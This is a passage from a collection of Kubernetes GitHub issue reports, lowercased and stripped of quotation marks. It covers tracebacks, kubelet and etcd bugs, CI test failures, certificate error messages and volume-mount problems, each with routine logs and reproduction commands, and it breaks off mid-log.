2016-08-18t21:05:44.846596670z during handling of the above exception, another exception occurred: 2016-08-18t21:05:44.846599160z  2016-08-18t21:05:44.846602697z traceback  most recent call last : 2016-08-18t21:05:44.846605622z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 436, in _ensured 2016-08-18t21:05:44.846608180z     return fun  args,   kwargs  2016-08-18t21:05:44.846610541z   file \ /usr/local/lib/python3.4/site-packages/kombu/messaging.py\ , line 177, in _publish 2016-08-18t21:05:44.846613045z     channel = self.channel 2016-08-18t21:05:44.846615384z   file \ /usr/local/lib/python3.4/site-packages/kombu/messaging.py\ , line 194, in _get_channel 2016-08-18t21:05:44.846617891z     channel = self._channel = channel   2016-08-18t21:05:44.846620241z   file \ /usr/local/lib/python3.4/site-packages/kombu/utils/__init__.py\ , line 425, in __call__ 2016-08-18t21:05:44.846629338z     value = self.__value__ = self.__contract__   2016-08-18t21:05:44.846632038z   file \ /usr/local/lib/python3.4/site-packages/kombu/messaging.py\ , line 209, in <lambda> 2016-08-18t21:05:44.846634927z     channel = channelpromise lambda: connection.default_channel  2016-08-18t21:05:44.846637680z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 757, in default_channel 2016-08-18t21:05:44.846640157z     self.connection 2016-08-18t21:05:44.846642449z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 742, in connection 2016-08-18t21:05:44.846647641z     self._connection = self._establish_connection   2016-08-18t21:05:44.846650088z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 697, in _establish_connection 2016-08-18t21:05:44.846652585z     conn = self.transport.establish_connection   2016-08-18t21:05:44.846654920z   file \ /usr/local/lib/python3.4/site-packages/kombu/transport/pyamqp.py\ , line 116, in establish_connection 2016-08-18t21:05:44.846657470z     conn = self.connection   opts  2016-08-18t21:05:44.846659906z   file \ /usr/local/lib/python3.4/site-packages/amqp/connection.py\ , line 165, in __init__ 2016-08-18t21:05:44.846662391z     self.transport = self.transport host, connect_timeout, ssl  2016-08-18t21:05:44.846664825z   file \ /usr/local/lib/python3.4/site-packages/amqp/connection.py\ , line 186, in transport 2016-08-18t21:05:44.846667875z     return create_transport host, connect_timeout, ssl  2016-08-18t21:05:44.846670268z   file \ /usr/local/lib/python3.4/site-packages/amqp/transport.py\ , line 299, in create_transport 2016-08-18t21:05:44.846672756z     return tcptransport host, connect_timeout  2016-08-18t21:05:44.846675143z   file \ /usr/local/lib/python3.4/site-packages/amqp/transport.py\ , line 75, in __init__ 2016-08-18t21:05:44.846677673z     socket.sock_stream, sol_tcp : 2016-08-18t21:05:44.846679979z   file \ /usr/local/lib/python3.4/socket.py\ , line 537, in getaddrinfo 2016-08-18t21:05:44.846682362z     for res in _socket.getaddrinfo host, port, family, type, proto, flags : 2016-08-18t21:05:44.846684732z socket.gaierror:  errno -2  name or service not known 2016-08-18t21:05:44.846687050z  2016-08-18t21:05:44.846689219z during handling of the above exception, another exception occurred: 2016-08-18t21:05:44.846691505z  2016-08-18t21:05:44.846693743z traceback  most recent call last : 2016-08-18t21:05:44.846695985z   file \ /data/run_tasks.py\ , line 26, in <module> 2016-08-18t21:05:44.846698517z     res = add.delay x, y  2016-08-18t21:05:44.846700778z   file \ /usr/local/lib/python3.4/site-packages/celery/app/task.py\ , line 453, in delay 2016-08-18t21:05:44.846703182z     return self.apply_async args, kwargs  2016-08-18t21:05:44.846705514z   file \ /usr/local/lib/python3.4/site-packages/celery/app/task.py\ , line 565, in apply_async 2016-08-18t21:05:44.846710322z       dict self._get_exec_options  ,   options  2016-08-18t21:05:44.846712875z   file \ /usr/local/lib/python3.4/site-packages/celery/app/base.py\ , line 354, in send_task 2016-08-18t21:05:44.846715423z     reply_to=reply_to or self.oid,   options 2016-08-18t21:05:44.846717803z   file \ /usr/local/lib/python3.4/site-packages/celery/app/amqp.py\ , line 310, in publish_task 2016-08-18t21:05:44.846720446z       kwargs 2016-08-18t21:05:44.846722739z   file \ /usr/local/lib/python3.4/site-packages/kombu/messaging.py\ , line 172, in publish 2016-08-18t21:05:44.846725169z     routing_key, mandatory, immediate, exchange, declare  2016-08-18t21:05:44.846727541z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 457, in _ensured 2016-08-18t21:05:44.846730008z     interval_max  2016-08-18t21:05:44.846732299z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 369, in ensure_connection 2016-08-18t21:05:44.846734843z     interval_start, interval_step, interval_max, callback  2016-08-18t21:05:44.846737195z   file \ /usr/local/lib/python3.4/site-packages/kombu/utils/__init__.py\ , line 246, in retry_over_time 2016-08-18t21:05:44.846739709z     return fun  args,   kwargs  2016-08-18t21:05:44.846741974z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 237, in connect 2016-08-18t21:05:44.846744395z     return self.connection 2016-08-18t21:05:44.846746626z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 742, in connection 2016-08-18t21:05:44.846749063z     self._connection = self._establish_connection   2016-08-18t21:05:44.846751414z   file \ /usr/local/lib/python3.4/site-packages/kombu/connection.py\ , line 697, in _establish_connection 2016-08-18t21:05:44.846753887z     conn = self.transport.establish_connection   2016-08-18t21:05:44.846757108z   file \ /usr/local/lib/python3.4/site-packages/kombu/transport/pyamqp.py\ , line 116, in establish_connection 2016-08-18t21:05:44.846760036z     conn = self.connection   opts  2016-08-18t21:05:44.846762698z   file \ /usr/local/lib/python3.4/site-packages/amqp/connection.py\ , line 165, in __init__ 2016-08-18t21:05:44.846765212z     self.transport = self.transport host, connect_timeout, ssl  2016-08-18t21:05:44.846767574z   file \ /usr/local/lib/python3.4/site-packages/amqp/connection.py\ , line 186, in transport 2016-08-18t21:05:44.846769994z     return create_transport host, connect_timeout, ssl  2016-08-18t21:05:44.846772397z   file \ /usr/local/lib/python3.4/site-packages/amqp/transport.py\ , line 299, in create_transport 2016-08-18t21:05:44.846774845z     return tcptransport host, connect_timeout  2016-08-18t21:05:44.846777109z   file \ /usr/local/lib/python3.4/site-packages/amqp/transport.py\ , line 75, in __init__ 2016-08-18t21:05:44.846779524z     socket.sock_stream, sol_tcp : 2016-08-18t21:05:44.846783728z   file \ /usr/local/lib/python3.4/socket.py\ , line 537, in getaddrinfo 2016-08-18t21:05:44.846786248z     for res in _socket.getaddrinfo host, port, family, type, proto, flags : 2016-08-18t21:05:44.846788640z socket.gaierror:  errno -2  name or service not known       sorry for the wall of text   docker history and undocker seem to show that the dockerfile here produces a different image than what is hosted at endocode/celery-app-add. if i bash into endocode, i start in  /data  as  root  and if i bash into <mine> i start in  ~  as  user . perhaps i am building the image incorrectly though.

hi when i tried to compile kubernetes in proxy network its give below error       step 5 : run go get code.google.com/p/go.tools/cmd/cover github.com/tools/godep  ---> running in 7183a3b93842 package code.google.com/p/go.tools/cmd/cover: get https://code.google.com/p/go/source/checkout?repo=tools: dial tcp 173.194.33.168:443: i/o timeout   cd .; git clone https://github.com/tools/godep /go/src/github.com/tools/godep cloning into '/go/src/github.com/tools/godep'... fatal: unable to access 'https://github.com/tools/godep/': failed to connect to github.com port 443: connection timed out package github.com/tools/godep: exit status 128 time=\ 2015-01-21t11:03:30-08:00\  level=\ info\  msg=\ the command  /bin/sh -c go get code.google.com/p/go.tools/cmd/cover github.com/tools/godep  returned a non-zero code: 1\       i think this error is because of proxy setting

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube v0.16.0\r -   os    e.g. from /etc/os-release :  darwin kirs-macbook-pro.local 16.1.0 darwin kernel version 16.1.0: thu oct 13 21:26:57 pdt 2016; root:xnu-3789.21.3~60/release_x86_64 x86_64 \r \r \r   what happened  :\r \r i got a yaml that doesn't follow the kubernetes schema  see the  metadata.labels.name  field :\r \r    \r $  cat broken.yml\r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: web\r   labels:\r     name:\r       not_a_name:\r       - 1\r       - 2\r     app: basic\r spec:\r   rules:\r   - host: basic.example.com\r     http:\r       paths:\r       - backend:\r           servicename: web\r           serviceport: 80\r    \r \r trying to validate the file with dry run:\r \r    \r $ kubectl create -f broken.yml --dry-run=true\r ingress \ web\  created  dry run \r    \r \r looks valid, but then it will fail when trying to apply it:\r \r    \r $ kubectl create -f broken.yml\r error from server  badrequest : error when creating \ broken.yml\ : ingress in version \ v1beta1\  cannot be handled as a ingress:  pos 96 : json: expect char '\ ' but got char '{'\r    \r \r   what you expected to happen  :\r \r it's expected that  --dry-run  would catch the malformed yaml.\r

kubelet currently will update the node addresses in the status, meaning it cannot be edited manually / with a controller.\r \r however, there is also no way to tell kubelet to register anything other than a single  --node-ip  address flag, which gets registered as  nodelegacyhostip  and  nodeinternalip .\r \r we should allow arbitrary addresses to be specified on the kubelet command line, if kubelet is going to prevent them being updated externally.

in https://github.com/kubernetes/kubernetes/pull/43481, i added some env vars to the master upgrade routine so that we could optionally specify etcd configuration settings that allow us to downgrade to 1.5. we should remove this by 1.8 if it's no longer needed.

to reproduce, bring up a gce cluster, then modify the  --quota-backend-bytes  field in  /etc/kubernetes/manifest/etcd.manifest  and restart etcd.  i lowered it to 384 mib to speed this up.\r \r    console\r % kubectl run sleep --image=busybox -- 'sleep 300'\r % kubectl edit deployment sleep\r   in the pod template, i put 3 annotations with 50,000 byte values\r % while true; do\r while> kc scale --replicas=1 deployments/sleep\r while> sleep 1\r while> kc scale --replicas=20 deployments/sleep\r while> sleep 1 \r while> done\r    \r \r after awhile, you'll start to get this from the loop:  error: scaling the resource failed with: etcdserver: mvcc: database space exceeded; current resource version 6060 \r \r cool, now it's broken.  attached are some logfiles.  the data directory is huge, so i put the zipfile  on google drive  https://drive.google.com/a/google.com/file/d/0b7jy9p4ld3lzruhmzknvvuyynja/view?usp=sharing .  join https://groups.google.com/forum/ !forum/kubernetes-dev if you don't have read access.\r \r \r  etcd.log.txt  https://github.com/kubernetes/kubernetes/files/962218/etcd.log.txt \r  kube-apiserver.log.txt  https://github.com/kubernetes/kubernetes/files/962219/kube-apiserver.log.txt \r \r \r \r \r

failure cluster  67c3cc2a0e1f91a7c0f8  https://go.k8s.io/triage 67c3cc2a0e1f91a7c0f8        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:344 jun 28 07:51:13.858: timed out after 300 seconds waiting for name=update-demo pods to reach valid state /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2017           failure cluster statistics: 3 tests failed,    12 jobs failed,    147 builds failed. failure stats cover 1 day time range '1 jul 2017 22:49 utc' to '2 jul 2017 22:49 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  | 11 | |  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance  | 10 | |  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  | 10 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke | 25 |  2 jul 2017 21:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/11882  | | ci-kubernetes-e2e-gke | 24 |  2 jul 2017 21:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/11758  | | ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew | 22 |  2 jul 2017 20:34 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew/211  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | sttts |  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance ;  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance ;  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  | | sig/cli |  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance ;  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance ;  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  |  </details><br>   current status  https://go.k8s.io/triage 67c3cc2a0e1f91a7c0f8

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r  \r   what happened  :\r kubernetes conformance annotations are comments in the e2e test suite next to tests labeled  conformance  and are used for generating a document that describes the list of conformance tests as identified by the kubernetes conformance workgroup.  currently these annotation comments do not undergo a build check to ensure the annotation format is being adhered to.\r   what you expected to happen  :\r annotation comments should  undergo a build check to ensure the annotation format is being adhered to.\r   how to reproduce it  as minimally and precisely as possible   :\r create a conformance annotation in the e2e test suite for a conformance test and do not follow the prescribed format of \r \r / \r \t  testname: pods-exec-liveness-probe-not-restarted\r \t  description: make sure when exec liveness probe succeeds, the pod should\r \t         not be restarted.\r  /\r it \ should  not  be restarted with a exec \\\ cat /tmp/health\\\  liveness probe  conformance \ , func   {\r \r \r   anything else we need to know?  :\r see  pr  53742  https://github.com/kubernetes/kubernetes/pull/53742  for more details on this.\r \r \r   environment  :\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r i have three nodes to deploy kube-apiserver as master here, each nodes has two ip addresses:\r \r node | ip-1 | ip-2 \r ------------ | ------------- | -------------\r master1 | 10.95.149.6 | 10.95.149.10\r master2 | 10.95.149.7 | 10.95.149.11\r master3 | 10.95.149.8 | 10.95.149.15\r \r and sign kube-apiserver tls cert with ip-1 column:\r    \r     \ hosts\ :  \r         \ 127.0.0.1\ ,\r         \ 10.95.149.6\ ,\r         \ 10.95.149.7\ ,\r         \ 10.95.149.8\ ,\r         \ 10.254.0.1\ ,\r         \ kubernetes\ ,\r         \ kubernetes.default\ ,\r         \ kubernetes.default.svc\ ,\r         \ kubernetes.default.svc.cluster\ ,\r         \ kubernetes.default.svc.cluster.local\ \r      ,\r    \r and create kubeconfig with the url with ip-2, such as 10.95.149.15:\r    \r     server: https://10.95.149.15:6443\r    \r then run  kubectl get cs , it shows:\r    \r the server doesn't have a resource type \ cs\ \r    \r but run  kubectl get componentstatuses , it shows the correct error:\r    \r unable to connect to the server: x509: certificate is valid for 127.0.0.1, 10.95.149.6, 10.95.149.7, 10.95.149.8, 10.254.0.1, not 10.95.149.15\r    \r   what you expected to happen  :\r error message should be the same as:\r    \r unable to connect to the server: x509: certificate is valid for 127.0.0.1, 10.95.149.6, 10.95.149.7, 10.95.149.8, 10.254.0.1, not 10.95.149.15\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r n/a\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r n/a\r - others:\r n/a\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-blocking/verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master \r \r   which test s  are failing  :\r \r | job | test | reason for failure |\r |---|---|---|\r |  verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master  |  verify.godeps  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/26819  |  your vendored results are different: diff -naupr -x build -x 'authors ' -x 'contributors ' vendor/k8s.io/kube-aggregator/pkg/apis/apiregistration/v1/generated.proto /tmp/gopath.fjrjh3/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apis/apiregistration/v1/generated.proto \r |  verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master  |  verify.staging-godeps  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/26819  |  unexpected dirty working directory \r \r   since when has it been failing  :\r 2019-02-19,  build 26960  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/26960 ,  k/k 42b7bb1c1  https://github.com/kubernetes/kubernetes/commit/42b7bb1c1 \r \r   anything else we need to know  :\r related: https://github.com/kubernetes/kubernetes/issues/73999\r i wonder if there's an opportunity for automation/testing before end to end tests there 🤔\r \r  /  \r cc @smourapina @alejandrox1 @mortent @kacole2

currently the docker image for the kubelet is based on centos.  instead, we should make a scratch image that just contains the  kubelet  and  nsenter  binaries.  a few things need to be worked out: 1.  cadvisor has some issues with being built statically after go 1.4  source, @vmarmol  2.  where do we source a statically built nsenter binary?   there's a  well-known docker image that builds a static nsenter  https://github.com/jpetazzo/nsenter , perhaps we could use this.  @dchen1107 has reported being able to build a static kubelet binary w/o cadvisor support; hopefully that means there are no issues intrinsic to the kubelet code itself.  see  7805 for some additional discussion.

problem  pod that should run quickly to completion almost always does, but at least one time, it did not, causing a test flake   21169 .     symptoms  we see pod get to the point of pulling its image, according to events on apiserver, but we don't ever see \ created\  or \ started\  events, until test times out after 15 minutes.  kubelet logs show containerstarted even according to pleg, and shows volumes being cleaned for the pod again and again.      logs  i've attached a kubelet log from an e2e test:  bad-kubelet.txt  https://github.com/kubernetes/kubernetes/files/133194/bad-kubelet.txt   the pod of interest is called  fail-once-local-r6hqn  in namespace  e2e-tests-job-r1z3y .  i've also attached a version of that log that just includes lines from the pod i am interested in  lines matching its pod name, uid, or docker container id :  bad-kubelet-filtered.txt  https://github.com/kubernetes/kubernetes/files/133210/bad-kubelet-filtered.txt     discussion  a similar pattern occured 3 times on a single node in a single e2e run, and not at all on the other nodes.  see  21169.  so, it might be a bad node or bad docker.  however, other many other containers ran successfully during the e2e test time frame.  the pod's command line is  if    -r /data/foo    ; then exit 0 ; else touch /data/foo ; exit 1 ; fi .  this command will exit quickly, and so there could be a race where docker or kubelet doesn't notice that the container exited because it exited so fast.  however, this has to be a rare race because the test passes many times.  the pod gets as far as the  containerstarted  state according to pleg.      i0212 15:08:11.894177    3890 kubelet.go:2324  syncloop  pleg : \ fail-once-local-r6hqn_e2e-tests-job-r1z3y 6e23f2c1-d19a-11e5-8e8a-42010af00002 \ , event: &pleg.podlifecycleevent{id:\ 6e23f2c1-d19a-11e5-8e8a-42010af00002\ , type:\ containerstarted\ , data:\ 5032a5cb8b882e6eb82ce7d8abba525c4bc9ce53c47dc342567de0d0b3712834\ }      but there are no \ created\  or \ started\  events on the apiserver for the pod.   that seems odd.  after the  containerstarted  event from pleg, the kubelet logs show kubelet considering unmountin the pod's volumes every few second for the next 15 minutes, like this:      i0212 15:08:12.648445    3890 volumes.go:234  making a volume.cleaner for volume kubernetes.io~empty-dir/data of pod 6e23f2c1-d19a-11e5-8e8a-42010af00002 i0212 15:08:12.648493    3890 volumes.go:316  used volume plugin \ kubernetes.io/empty-dir\  to unmount 6e23f2c1-d19a-11e5-8e8a-42010af00002/kubernetes.io~empty-dir i0212 15:08:12.648525    3890 volumes.go:234  making a volume.cleaner for volume kubernetes.io~secret/default-token-kp0b0 of pod 6e23f2c1-d19a-11e5-8e8a-42010af00002 i0212 15:08:12.648561    3890 volumes.go:316  used volume plugin \ kubernetes.io/secret\  to unmount 6e23f2c1-d19a-11e5-8e8a-42010af00002/kubernetes.io~secret      these log lines appear to be coming from getpodvolumesfromdisk.  i think these lines just mean that the pod's volumes are still on disk and that they are still in use by a container.

we bumped a timeout to 5m in: https://github.com/kubernetes/kubernetes/pull/21573. at that time, it was thought to cause test failures for reasons unknown. that is a hard timeout to second guess, because it depends on both the kubelet sync period, and the pod worker for a specific pod being idle. this bug is to actually track that we don't always take 5m to transmit a modification of a config map down to the node  should be evident from test runtime . assigning to @pmorie but i'll keep at eye on the test runtime too.

atm a  kubectl log some-pod  only returns  choose one of:  kubedns dnsmasq healthz   ... but if something is wrong i usually want to just get all of the logs ...  so i'd love to have  --all  which then prints      container: kubedns ... logs container: dnsmasq ... logs

hi team.\r my secret's folder on pods is always empty. there are many of such issues, but they not strictly corresponds to my, or i didn't found proper issue. here is info about my setup\r    \r kubectl describe serviceaccounts\r name:           default\r namespace:      default\r labels:         <none>\r image pull secrets:     <none>\r mountable secrets:      default-token-2k6t8\r tokens:                 default-token-2k6t8\r \r kubectl get secrets\r name                  type                                  data      age\r db-user-pass          opaque                                2         33m\r default-token-2k6t8   kubernetes.io/service-account-token   3         36d\r    \r \r kubectl describe secret shows that default-token-2k6t8 contains 3 files  ca.crt, namespace, token \r on kubelet folder exist and contains files\r    \r  ls /var/lib/kubelet/pods/d5944022-1b61-11e7-9b45-0cc47a7351d4/volumes/kubernetes.io~secret/default-token-2k6t8/\r ca.crt  namespace  token\r \r    \r in kubelet.log i see \r  i0407 10:27:54.406390   13509 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/d5944022-1b61-11e7-9b45-0cc47a7351d4-default-token-2k6t8\r  \r which is repeated every ~30 seconds\r mount inside pod  it has only one container  returns\r  /dev/sda2 on /run/secrets/kubernetes.io/serviceaccount type ext4  ro,relatime,data=ordered \r  \r but folder /run/secrets/kubernetes.io/serviceaccount is empty.\r also i tried to create custom secret and mount it to pod, but with no luck.\r \r my os is oracle linux server release 6.9. docker is installed from https://yum.dockerproject.org/repo/main/oraclelinux/6/\r selinux is disabled\r docker version\r    \r client:\r version: 1.12.3\r api version: 1.24\r go version: go1.6.3\r git commit: 6b644ec\r built:\r os/arch: linux/amd64\r server:\r version: 1.12.3\r api version: 1.24\r go version: go1.6.3\r git commit: 6b644ec\r built:\r os/arch: linux/amd64\r    \r kubernetes version\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r edit\r just forget to mention, that config map mounts successfully and contains all provided files

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r running kube-apiserver without specifing \ --service-cluster-ip-range\  will print “no --service-cluster-ip-range specified” and exit. but it provide a default value \ 10.0.0.0/24\ . do we need remove validation of --service-cluster-ip-range specified?\r    \r ./kube-apiserver --etcd-servers=\ http://localhost:2379\   --storage-backend=\ etcd2\  \r i0913 17:00:27.238377   51575 server.go:114  version: v1.9.0-alpha.0.584+be78d113b1fa40\r i0913 17:00:27.239013   51575 services.go:35  network range for service cluster ips is unspecified. defaulting to 10.0.0.0/24.\r w0913 17:00:27.239063   51575 authentication.go:380  anonymousauth is not allowed with the allowall authorizer.  resetting anonymousauth to false. you should use a different authorizer\r no --service-cluster-ip-range specified\r    \r \r   what you expected to happen  :\r since we have provided the default value '10.0.0.0/24', user need not to specify --service-cluster-ip-range in command line.\r   how to reproduce it  as minimally and precisely as possible   :\r run kube-apiserver without \ --service-cluster-ip-range\ .\r kube-apiserver --etcd-servers=\ http://localhost:2379\  --storage-backend=\ etcd2\  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.572+9636522137039d\ , gitcommit:\ 9636522137039d48555d2441725133d69805e010\ , gittreestate:\ clean\ , builddate:\ 2017-09-13t05:45:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.584+be78d113b1fa40\ , gitcommit:\ be78d113b1fa40cfa17e4973d3aa1b1c2e709edd\ , gittreestate:\ clean\ , builddate:\ 2017-09-13t08:56:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :4.10.0-33-generic\r - install tools:\r - others:\r

@k8s-sig-openstack-bugs \r \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r >  \r \r   what happened  :\r \r in an attempt to mount a volume to pod which is dynamically provisioned by kubernetes with cinder plugin, i am seeing,\r \r    \r oct 31 18:05:14 dev-kube-node-1 kubelet 1604 : i1031 18:05:14.977240    1604 openstack_instances.go:46  claiming to support instances\r oct 31 18:05:22 dev-kube-node-1 kubelet 1604 : i1031 18:05:22.983077    1604 reconciler.go:212  operationexecutor.verifycontrollerattachedvolume started for volume \ jenkins-home\   uniquename: \ kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   pod \ jenkins-7dc87b4d7-8xx9r\   uid: \ b37eef3a-bea0-11e7-a05c-fa163e9494e3\  \r oct 31 18:05:22 dev-kube-node-1 kubelet 1604 : e1031 18:05:22.986674    1604 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\\\ \  failed. no retries permitted until 2017-10-31 18:05:38.986619061 -0700 pdt  durationbeforeretry 16s . error: volume not attached according to node status for volume \ jenkins-home\   uniquename: \ kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   pod \ jenkins-7dc87b4d7-8xx9r\   uid: \ b37eef3a-bea0-11e7-a05c-fa163e9494e3\  \r oct 31 18:05:25 dev-kube-node-1 kubelet 1604 : i1031 18:05:25.127662    1604 openstack_instances.go:46  claiming to support instances\r oct 31 18:05:35 dev-kube-node-1 kubelet 1604 : i1031 18:05:35.267982    1604 openstack_instances.go:46  claiming to support instances\r oct 31 18:05:39 dev-kube-node-1 kubelet 1604 : i1031 18:05:39.016341    1604 reconciler.go:212  operationexecutor.verifycontrollerattachedvolume started for volume \ jenkins-home\   uniquename: \ kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   pod \ jenkins-7dc87b4d7-8xx9r\   uid: \ b37eef3a-bea0-11e7-a05c-fa163e9494e3\  \r oct 31 18:05:39 dev-kube-node-1 kubelet 1604 : i1031 18:05:39.019492    1604 operation_generator.go:684  controller attach succeeded for volume \ jenkins-home\   uniquename: \ kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   pod \ jenkins-7dc87b4d7-8xx9r\   uid: \ b37eef3a-bea0-11e7-a05c-fa163e9494e3\   device path: \ /dev/sdc\ \r oct 31 18:05:39 dev-kube-node-1 kubelet 1604 : i1031 18:05:39.117044    1604 reconciler.go:257  operationexecutor.mountvolume started for volume \ jenkins-home\   uniquename: \ 